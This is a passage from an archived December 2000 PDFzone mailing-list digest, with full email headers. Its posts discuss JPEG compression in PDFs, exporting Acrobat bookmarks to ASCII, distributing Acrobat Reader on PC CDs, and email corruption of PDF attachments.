(8.8.8/8.8.8) id OAA02134; Thu, 21 Dec 2000 14:56:03 -0600 Received: from mail-nt-3.dcs-stl.com (mail-nt-3.dcs-stl.com [207.247.129.34] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA02130 for ; Thu, 21 Dec 2000 14:56:02 -0600 Received: from [208.238.162.134] (208.238.162.134 [208.238.162.134]) by mail-nt-3.dcs-stl.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id Z14CN5G7; Thu, 21 Dec 2000 14:53:13 -0600 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Thu, 21 Dec 2000 14:57:07 -0600 Subject: Re: [PDF] JPEG Compression and resaving PDF files From: Al Manson To: Message-ID: In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ In a straight ""take this PDF and rip-it"" workflow, JPEG encoding is just fine. This is a workflow where the supplier, not the printer, is responsible for making any corrections. If the supplier is sending garbage PDF's and doesn't or can't make edits, then they should also supply the creating files. No matter what anyone says, it is always easier to fix a problem at the source rather than bandaid it at the end. -- Al Manson Vertis,LTC Group amanson@ltcgroup.com > From: John Herrin > Reply-To: pdf@lists.pdfzone.com > Date: Thu, 21 Dec 2000 11:58:35 -0600 > To: > Subject: [PDF] JPEG Compression and resaving PDF files > > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > What is the general feeling about using JPEG compression with PDF's. I work > in a publishing environment (both editorial and advertising material) that > is coming to depend on PDF's. My concern is with using JPEG compression on > PDF files that are opened, edited in Acrobat and resaved. Though I have not > fully tested the results form multiple opens and saves my gut instinct tells > me that the overall image quality is going to degrade significantly in this > enivornment. > > Right now my recommendation to my peers is to compress using Zip or no > compression at all to perserve image quality. > > Please donate your two cents on this issue. Am I worrying about lossy > compression too much? Will Zip cause other problems in the processing and > delivery process? What are some of your experiences with compression and > PDF's? > > > -- > John Herrin > jaherrin@iupui.edu > php.iupui.edu/~jaherrin > > ""We live in a society exquisitely dependent on science and technology, in > which hardly anyone knows anything about science and technology."" > Carl Sagan > > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 21:41:00-GMT,2671;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA01096 for ; Thu, 21 Dec 2000 14:40:59 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA05249; Thu, 21 Dec 2000 15:32:02 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 15:26:43 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA04859; Thu, 21 Dec 2000 15:26:42 -0600 Received: from email.niagarac.on.ca (mail.niagara-college.com [192.197.62.37]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id PAA04855 for ; Thu, 21 Dec 2000 15:26:40 -0600 Received: from NCGWDOMAIN1-Message_Server by email.niagarac.on.ca with Novell_GroupWise; Thu, 21 Dec 2000 16:25:15 -0500 Message-Id: X-Mailer: Novell GroupWise 5.5.4 Date: Thu, 21 Dec 2000 16:24:57 -0500 From: ""Bob Roach"" To: Subject: Re: [PDF] Semi-transparent colors in Acrobat 4.0x? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id PAA04856 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ FranzJosef-- This may not be the answer you're after, but if they are plans or drawings in pure line, you could rasterize them to a hi-rez, one-bit image and assign them colours in an app like PageMaker, Illustrator, CorelDraw, etc. -- the background (white) will then appear transparent both in print and PDF display. (but in some apps, like CorelDraw, you have to 'set' the fill of these bitmaps to 'clear' in order for the transparency to come through). Multiple layering is supported by this method too. Because the compression for b&w is very high and lossless, you can achieve very good detail and printouts and still get PDF's of a manageable size. I suggest for most purposes, a rez. of 200-300 dpi. Hope that helps. -Bob Roach Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 21:53:10-GMT,2006;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA01431 for ; Thu, 21 Dec 2000 14:53:09 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA06146; Thu, 21 Dec 2000 15:44:52 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 15:39:28 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA05789; Thu, 21 Dec 2000 15:39:27 -0600 Received: from bird2.de.uu.net (bird2.de.uu.net [193.101.111.28]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA05785 for ; Thu, 21 Dec 2000 15:39:25 -0600 Received: from schuitz.com (pec-118-85.tnt9.me2.uunet.de [149.225.118.85]) by bird2.de.uu.net (5.5.5/5.5.5) with ESMTP id WAA14895 for ; Thu, 21 Dec 2000 22:39:24 +0100 (MET) Message-ID: <3A42788A.15C37536@schuitz.com> Date: Thu, 21 Dec 2000 22:39:22 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.75 [de]C-CCK-MCD DT (Win95; U) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] How to export bookmarklists to ASCII? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello, any chance to export long PDF-bookmark lists to simple ASCII-Files? Thanks, Raimund Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 22:17:38-GMT,4364;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA02131 for ; Thu, 21 Dec 2000 15:17:37 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA07678; Thu, 21 Dec 2000 16:05:59 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 16:00:17 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA07310; Thu, 21 Dec 2000 16:00:10 -0600 Received: from pivsbh1.ms.com ([199.89.64.101]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA07201 for ; Thu, 21 Dec 2000 15:57:43 -0600 Received: (from uucp@localhost) by pivsbh1.ms.com (8.9.3/fw v1.30) id QAA15049 for ; Thu, 21 Dec 2000 16:56:57 -0500 (EST) Received: from localhost(127.0.0.1) by pivsbh1 via smap (4.1) id sma.9774358041.014615; Thu, 21 Dec 00 16:56:44 -0500 Received: (from uucp@localhost) by pivsbh1.ms.com (8.9.3/8.9.3(vs)) id QAA14590 for ; Thu, 21 Dec 2000 16:56:44 -0500 (EST) X-Authentication-Warning: pivsbh1.ms.com: Processed from queue /var/spool/mqueue-vs X-Authentication-Warning: pivsbh1.ms.com: Processed by uucp with -C /etc/mail/sendmail.vs.cf Received: from hasmh2.ms.com(138.20.197.38) by pivsbh1 via smap (4.1) id sma.9774358031.014571; Thu, 21 Dec 00 16:56:43 -0500 Received: from msdw.com (hqcspc50.morgan.com [144.14.98.243]) by hasmh2.ms.com (8.8.5/imap+ldap v2.4) with ESMTP id VAA26474 for ; Thu, 21 Dec 2000 21:56:42 GMT Message-ID: <3A427C9A.F239A758@msdw.com> Date: Thu, 21 Dec 2000 16:56:42 -0500 From: Don Montalvo Organization: Morgan Stanley Dean Witter IBD Creative Services X-Mailer: Mozilla 4.76 (Macintosh; U; PPC) X-Accept-Language: en-US,pdf MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] PDF/Acrobat on CD for PC References: <200012212056.OAA02153@everglades.binc.net> Content-Type: multipart/mixed; boundary=""------------14E701BFD151430872389912"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. --------------14E701BFD151430872389912 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit We're working on a project where we have to produce PC formatted CD's which contain a PDF and the Acrobat Reader 4 application. I've read the rather lengthy instructions given for this at the Adobe site...well, I'm wondering if anyone can break it down into easy to follow steps for those of us who are PC challenged. Here's what we need: 1. PC formatted CD's 2. PDF's will be version 4 (hotlinks, etc.) 3. Doubleclicking the PDF on the CD should result in Acrobat Reader launching directly from the CD, no matter how the user's computer is set up. Anyone have this process down, willing to share their simplified instructions? Thanks a million. Don --------------14E701BFD151430872389912 Content-Type: text/x-vcard; charset=us-ascii; name=""Don.Montalvo.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Don Montalvo Content-Disposition: attachment; filename=""Don.Montalvo.vcf"" begin:vcard n:Montalvo;Don tel;pager:917-675-2265 tel;home:Page mail: 9176752265@airmessage.net tel;work:212-761-6014 x-mozilla-html:FALSE url:http://www.msdw.com org:Morgan Stanley Dean Witter;IBD Creative Services adr:;;1585 Broadway CSBANK;New York;NY;10036;USA version:2.1 email;internet:don.montalvo@msdw.com title:Macintosh Systems Administrator note:Please send me your alphanumeric beep via email ---> 9176752265@airmessage.net <--- Please give as many details as possible. x-mozilla-cpt:;3 fn:Don Montalvo end:vcard --------------14E701BFD151430872389912-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 22:30:26-GMT,2761;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA02623 for ; Thu, 21 Dec 2000 15:30:25 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA08236; Thu, 21 Dec 2000 16:12:20 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 16:07:08 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA07730; Thu, 21 Dec 2000 16:07:07 -0600 Received: from comcom.com (netsrv03.comcom.com [207.67.13.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA07726 for ; Thu, 21 Dec 2000 16:07:05 -0600 Received: from mailbox.comcom.com (mailbox [207.67.13.213]) by comcom.com (8.9.3+Sun/8.9.3) with ESMTP id QAA21176 for ; Thu, 21 Dec 2000 16:07:50 -0600 (CST) Received: by mailbox with Internet Mail Service (5.5.2650.21) id ; Thu, 21 Dec 2000 16:13:34 -0600 Message-ID: <20D5861A4053D411A3B200105A0A7EDB1D98D4@mailbox> From: ""Leone-Thiel, Pat"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] How to export bookmarklists to ASCII? Date: Thu, 21 Dec 2000 16:13:25 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Yes, we have a plugin we developed internally to do just this task. This enables us to do a proper QA of the bookmarks before release of projects. (Proofing on screen was unreliable and difficult in long bookmark lists). I'm sure if we made such a tool someone else has made one too, to sell or share. Sorry I can't do either, but did want you to know it can be done pretty easily. On a positive note... Patricia Leone-Thiel Client Training Services Mgr. pleoneth@comcom.com Commercial Communications, Inc. (www.comcom.com) -----Original Message----- Subject: [PDF] How to export bookmarklists to ASCII? __________________________________________________________________ Hello, any chance to export long PDF-bookmark lists to simple ASCII-Files? Thanks, Raimund Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 22:31:57-GMT,5230;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA02639 for ; Thu, 21 Dec 2000 15:31:55 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA09237; Thu, 21 Dec 2000 16:23:30 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 16:18:05 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA08783; Thu, 21 Dec 2000 16:18:00 -0600 Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA08777; Thu, 21 Dec 2000 16:17:59 -0600 Received: from [165.121.114.189] (user-2inislt.dialup.mindspring.com [165.121.114.189]) by hall.mail.mindspring.net (8.9.3/8.8.5) with SMTP id RAA30104; Thu, 21 Dec 2000 17:17:56 -0500 (EST) Message-Id: <200012212217.RAA30104@hall.mail.mindspring.net> Subject: [PDF] Re: to JPEG or not to JPEG... Date: Thu, 21 Dec 2000 17:13:40 -0400 x-sender: mikejahn@pop.mindspring.com x-mailer: Claris Emailer 2.0v3, January 22, 1998 From: mikejahn To: , Mime-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ on 12/21/00 4:56 PM, pdf-digest wrote; >What is the general feeling about using JPEG compression with PDF's. I work >in a publishing environment (both editorial and advertising material) that >is coming to depend on PDF's. My concern is with using JPEG compression on >PDF files that are opened, edited in Acrobat and resaved. Though I have not >fully tested the results form multiple opens and saves my gut instinct tells >me that the overall image quality is going to degrade significantly in this >enivornment. Unless they are opening the PDF files, somehow copying the images OUT of the PDF file, editing the images, and then pasting the new images into a PDF file, you ""gut instinct"" is wrong - simply openeing a PDF file and editing it will not ""recompress"" the images differently - in fact, you can open and close a JPEG file in Photoshop hundreds of times without any degradation - it simply writes it back to file the same way - now, even if you do some cloning in an small area, Photoshop will NOT RESAMPLE/RE-JPEG the entire image - the only case where SERIOUS repeated open/edit/close degradation will occur is when you crop an image, as it has to re-tile the entire image - and this is Photoshop, not Acrobat - even if you recrop the PDF, and even if a crop corner is in the middle of one of the images, when you save, Acrobat will NOT resample or re-JPEG the image. > >Right now my recommendation to my peers is to compress using Zip or no >compression at all to perserve image quality. This is a different issue - any amount of JPEG will degrade any image - even Maximum quality will ""toss"" image data which cannot be recovered - however - when i worked for a printing company, we did a series of tests with customer files - we created PDF files with all the level of JPEG compression available and printed each on press and laid them side by side. 100% of the time they selected the samples that had Maximum Quality compression applied to them, and we were totally suprised - they selected this OVER no compression - we then discovered that the very small amount of JPEG artifacts arond the contrasty areas of the images were percieved as USM (Un Sharp Masking) and the customers seemd to feel this was ""better"" than the less ""sharp"" example (the examples with no compression) so, in this study, our customers liked the Maximum Quality setting compression better than ZIP or No compression. > >Please donate your two cents on this issue. Am I worrying about lossy >compression too much? Will Zip cause other problems in the processing and >delivery process? What are some of your experiences with compression and >PDF's? when they also discovered that there was a minimum of a 10 to one file size difference, well, that sealed the deal (remote transmission cost issue) - Max Quality compression was what they selected - Black and white images seemed to be even more forgiving, so we select High Quality for this - this was JC Penney type work too - fashion, fabrics - what can i say, the customer is ALWAYS right, even when you have to figure out why. Michael Jahn Apogee Create Product Manager Agfa corporation 200 Balardvale Street MS 200-4-5H WIlmington, MA 01887-1069 http://www.agfa.com/create/ http://www.jahn.org/ P: 978-284-5504 F: 978.657.8984 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 22:35:21-GMT,2785;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA02771 for ; Thu, 21 Dec 2000 15:35:20 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA09238; Thu, 21 Dec 2000 16:23:30 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 16:18:07 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA08818; Thu, 21 Dec 2000 16:18:06 -0600 Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA08782; Thu, 21 Dec 2000 16:18:00 -0600 Received: from [165.121.114.189] (user-2inislt.dialup.mindspring.com [165.121.114.189]) by hall.mail.mindspring.net (8.9.3/8.8.5) with SMTP id RAA04922; Thu, 21 Dec 2000 17:17:58 -0500 (EST) Message-Id: <200012212217.RAA04922@hall.mail.mindspring.net> Subject: [PDF] Re: thoes goofy PDF operands, which when some are missing, well... Date: Thu, 21 Dec 2000 17:13:42 -0400 x-sender: mikejahn@pop.mindspring.com x-mailer: Claris Emailer 2.0v3, January 22, 1998 From: mikejahn To: , Mime-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ on 12/21/00 4:56 PM, pdf-digest wrote; >Really?? I thought that was one of the beauties of PDF, being able to move >seamlessly from platform to platform? Thanks for the tip. Platform to platform, yes, ignorant email application to even more ignorantly set up ISP, SMTP and POP servers, no. don't blame a file format because a stupid application or system does not understand it. I have seen StuffIt files try and unstuff on the server when they should simply transfer. This is not PDF fault. Hey, i can even delete the .pdf from MIME in Navigator, and get rid of the plug-in, and the PDF files open as text in the browser. Michael Jahn Apogee Create Product Manager Agfa corporation 200 Balardvale Street MS 200-4-5H WIlmington, MA 01887-1069 http://www.agfa.com/create/ http://www.jahn.org/ P: 978-284-5504 F: 978.657.8984 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 22:35:35-GMT,3000;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA02777 for ; Thu, 21 Dec 2000 15:35:34 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA09282; Thu, 21 Dec 2000 16:24:11 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 16:18:57 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA08876; Thu, 21 Dec 2000 16:18:56 -0600 Received: from comcom.com (netsrv03.comcom.com [207.67.13.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA08872 for ; Thu, 21 Dec 2000 16:18:55 -0600 Received: from mailbox.comcom.com (mailbox [207.67.13.213]) by comcom.com (8.9.3+Sun/8.9.3) with ESMTP id QAA21468 for ; Thu, 21 Dec 2000 16:19:40 -0600 (CST) Received: by mailbox with Internet Mail Service (5.5.2650.21) id ; Thu, 21 Dec 2000 16:25:24 -0600 Message-ID: <20D5861A4053D411A3B200105A0A7EDB1D98D5@mailbox> From: ""Leone-Thiel, Pat"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] How to export bookmarklists to ASCII? Date: Thu, 21 Dec 2000 16:25:14 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Here's one product that came up in the search (bookmark&export)of pdfzone... http://www.pdfzone.com/products/software/tool_isitoolbox.html >From their copy: ISIToolBox contains the following plugins: Table Copy Text Copy TOC Page to Bookmark Add Bookmarks by using Font Information Creating the Hypertext Link Box Hypertext Link Color Changer Hypertext Link from File Name Import / Export Bookmarks Merge PDF Files Goto Plus Hope this helps. Patricia Leone-Thiel Client Training Services Mgr. pleoneth@comcom.com Commercial Communications, Inc. (www.comcom.com) -----Original Message----- Subject: [PDF] How to export bookmarklists to ASCII? __________________________________________________________________ Hello, any chance to export long PDF-bookmark lists to simple ASCII-Files? Thanks, Raimund Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 23:17:04-GMT,2729;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA03944 for ; Thu, 21 Dec 2000 16:17:04 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA11257; Thu, 21 Dec 2000 16:44:41 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 16:37:59 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA10936; Thu, 21 Dec 2000 16:37:58 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA10932 for ; Thu, 21 Dec 2000 16:37:56 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id WAA10872 for ; Thu, 21 Dec 2000 22:37:55 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] PDF/Acrobat on CD for PC Date: Thu, 21 Dec 2000 22:37:52 -0000 Message-ID: <002501c06b9e$a83abb40$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <3A427C9A.F239A758@msdw.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > 1. > PC formatted CD's > > 2. > PDF's will be version 4 (hotlinks, etc.) > > 3. > Doubleclicking the PDF on the CD should result in Acrobat Reader > launching directly from the CD, no matter how the user's computer > is set up. Want it to be like the Mac, eh? No, you can't have that. Unlike the Mac, to double click, the controlling application must already be installed to the hard disk. You can include the Acrobat installer and offer to install it; OR you can set up an autorun that starts Reader and opens a single specific CD of your choice. Bear in mind that for many users, a CD is ""broken"" if it doesn't autorun something on the PC. They just don't know what to do next. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 23:29:31-GMT,2725;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA04271 for ; Thu, 21 Dec 2000 16:29:30 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA12912; Thu, 21 Dec 2000 17:15:58 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 17:08:38 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id RAA12549; Thu, 21 Dec 2000 17:08:35 -0600 Received: from oracle.clara.net (oracle.clara.net [195.8.69.94]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA12544 for ; Thu, 21 Dec 2000 17:08:33 -0600 Received: from [212.126.133.148] (helo=godzilla) by oracle.clara.net with smtp (Exim 3.11 #5) id 149Ep5-000NhB-00 for pdf@lists.pdfzone.com; Thu, 21 Dec 2000 23:08:32 +0000 From: ""David Kavanagh"" To: Subject: RE: [PDF] How to export bookmarklists to ASCII? Date: Thu, 21 Dec 2000 23:09:42 -0000 Message-ID: <000701c06ba3$1a244600$c9026b83@godzilla> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 In-Reply-To: <3A42788A.15C37536@schuitz.com> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ In response to a similiar query on this list a couple of years ago, we produced a free plug-in to count the number of bookmarks in a PDF file and copy them to a simple ASCII file. If you'd like to give it a try, I've just put it on our website, but the only way to get it is through this link: http://www.pdf-solutions.com/countbookmarks.zip It is without frills, or even an install program, so just extract the countbookmarks.api file and drop it into your Acrobat plug-ins directory. Regards, David Kavanagh PDF Solutions Ltd. > -----Original Message----- > > Hello, > any chance to export long PDF-bookmark lists to simple ASCII-Files? > Thanks, > Raimund > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 23:36:40-GMT,4026;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA04414 for ; Thu, 21 Dec 2000 16:36:38 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA13796; Thu, 21 Dec 2000 17:28:00 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 17:21:25 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id RAA13323; Thu, 21 Dec 2000 17:21:24 -0600 Received: from nec.com (mail1.nec.com [143.101.112.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA13319 for ; Thu, 21 Dec 2000 17:21:22 -0600 From: stregevp@hn.va.nec.com Received: from hdn-notes-mail.hn.va.nec.com (hdn-notes-mail.hn.va.nec.com [143.102.80.247]) by nec.com (8.9.3/8.9.3) with ESMTP id RAA00844 for ; Thu, 21 Dec 2000 17:21:18 -0600 (CST) Subject: Re: [PDF] Mac vs PC To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: Date: Thu, 21 Dec 2000 17:01:41 -0500 X-MIMETrack: Serialize by Router on hdn-notes-mail/NEC America(Release 5.0.5 |September 22, 2000) at 12/21/2000 06:27:15 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Max Wyss wrote: Rebecca, This sounds very much like a problem caused by a faulty e-mail transmission where one station ""believed"" that the PDF documents were text files, and did some conversions. Have your client ZIP their files, and they should come in OK. --------- I would attack this problem on two fronts, each involving Acrobat Distiller: 1. Many email systems have problems passing large files. Some can reliably pass files as large as several megabytes; others cannot handle files larger than about 500K without corrupting them. If Max is correct--that the email system is at fault--I would suggest a different route: Ask the person who created the PDF file to Open Distiller > Job Options >General, and select the ASCII Format checkbox, then redistill the original postscript file. The resulting PDF file will be, on average 20 percent larger; text-heavy files add more overhead than graphics. But this file will be far more likely to survive an email system intact. If the creator has invested a good amount of time postprocessing the file in Acrobat Exchange, s/he will be to preserve these features by creating a new PostScript file without links and bookmarks, then replace all the original file's pages, performing what I call a whole body transplant. I'm not sure this would be wise, however; I'd want the links, bookmarks, thumbnails, and so on to be ASCII-encoded as well. The creator can still follow 